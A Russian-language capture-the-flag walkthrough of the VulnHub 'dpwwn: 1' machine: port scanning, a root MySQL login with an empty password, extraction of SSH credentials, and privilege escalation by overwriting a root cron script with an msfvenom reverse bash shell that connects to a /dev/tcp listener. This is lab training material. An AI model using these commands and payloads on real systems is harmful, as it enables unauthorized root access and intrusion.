Прохождение машины dpwwn: 1 VulnHub.
Здравствуйте, дорогие друзья.
Сегодня я собираюсь пройти CTF-челлендж «dpwwn:1» с сервиса VulnHub. Заслуга в создании этой виртуальной машины принадлежит «Debashish Pal», и это задача boot2root, в которой мы должны получить root права на машину и захватить флаг, чтобы выполнить задачу. Вы можете скачать эту виртуальную машину, перейдя по ссылке: https://www.vulnhub.com/entry/dpwwn-1,342/.
Уровень безопасности: Новичок
Начнем с выявления IP-адреса атакуемой машины. Это делается, с помощью утилиты «Netdiscover»:
Команда в терминале: netdiscover
IP-адрес нашего хоста — это 10.0.2.4.
Далее, как обычно, я использовал инструмент Nmap для перечисления портов. Я обнаружил, что открыты порты 22, 80 и 3306.
Команда: sudo nmap -A 10.0.2.4
Как мы видим, служба mysql работает на порте (3306), и я попытал удачу, чтобы получить доступ к серверу mysql с пользователем root и пустым паролем, и, к моему удивлению, я смог войти в систему. Как только я вошел в систему, я получил имена баз данных, и там увидел базу данных ssh.
Я проверил ее таблицы и нашел учетные данные одного пользователя mistic:testP@$$swordmistic
Команды, которые я использовал:
1 2 3 4 5 |
mysql –h 10.0.2.4 –u root –p show databases; use ssh; show tables; select * from users; |
Эксплуатация:
Далее, я смог подключиться к целевой системе по ssh, используя найденные учетные данные (смотрите скриншот выше).
После входа в систему я обнаружил файл с именем logrot.sh. Я заглянул внутрь файла, и это bash-скрипт, который собирает логи. А в crontab этот же файл запланирован на выполнение с root-правами.
Команды, которые я использовал:
1 2 3 4 |
ssh mistic@10.0.2.4 ls –la cat logrot.sh cat /etc/crontab |
Обратите внимание на вывод скрипта «logrot.sh». Это уже сгенерированная полезная нагрузка, с помощью msfvenom. У Вас же будет выводиться небольшой bash-скрипт.
Итак, что я сделал далее. Создал обратную полезную нагрузку netcat, используя msfvenom с IP-адресом слушателя в качестве нашей машины на kali и указал порт 1234.
Команда: sudo msfvenom –p cmd/unix/reverse_bash lhost=10.0.2.15 lport=1234 R
Затем я скопировал ту же полезную нагрузку в двоичный файл logrot.sh, с помощью команды echo.
Команда: echo „0<&87-;exec 87<>/dev/tcp/10.0.2.15/1234;sh <&87 >&87 2>&87“ > logrot.sh
Повышение привилегий:
Поскольку logrot.sh запланирован в crontab с привилегиями root, я одновременно запустил прослушиватель netcat на моей машине kali и дождался обратного шелла. И через некоторое время я получил root shell и в итоге флаг root.
1 2 3 4 |
nc –lvp 1234 cd /root ls cat dpwwn-01—FLAG.txt |
На этом все. Всем хорошего дня!